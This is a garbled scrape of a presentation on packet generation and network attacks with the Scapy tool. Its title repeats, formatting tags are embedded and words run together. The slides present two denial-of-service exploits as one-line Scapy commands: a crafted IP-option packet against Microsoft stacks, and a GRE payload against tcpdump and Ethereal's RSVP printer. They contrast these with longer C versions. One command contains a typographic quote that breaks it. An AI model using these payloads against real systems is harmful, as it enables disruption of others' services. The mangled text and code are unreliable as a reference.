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Packet generation and network based attacks with Scapy - SecDev.org

Packet generation and network based attacks with Scapy - SecDev.org

Packet generation and network based attacks with Scapy - SecDev.org

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SendingIntroduction<strong>Scapy</strong>Network discovery <strong>and</strong> <strong>attacks</strong>GenesisConceptsQuick overviewMicrosoft IP option DoS proof of concept is 115 lines of Ccode (<strong>with</strong>out comments)The same <strong>with</strong> <strong>Scapy</strong>:send(IP(dst="target",options="\x02\x27"+"X"*38)/TCP())tcpdump <strong>and</strong> Ethereal rsvp print() Remote Denial ofService Exploit : 225 linesThe same <strong>with</strong> <strong>Scapy</strong>:send( IP(dst="1.1.1.1",proto="GRE")/’\x00\x00\x00\xfe\x83\x1b\x01\x06\x12\x01\xff\x07\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x07\x00\x00’ )Philippe BIONDI<strong>Packet</strong> <strong>generation</strong> <strong>and</strong> <strong>network</strong> <strong>based</strong> <strong>attacks</strong> <strong>with</strong> <strong>Scapy</strong>

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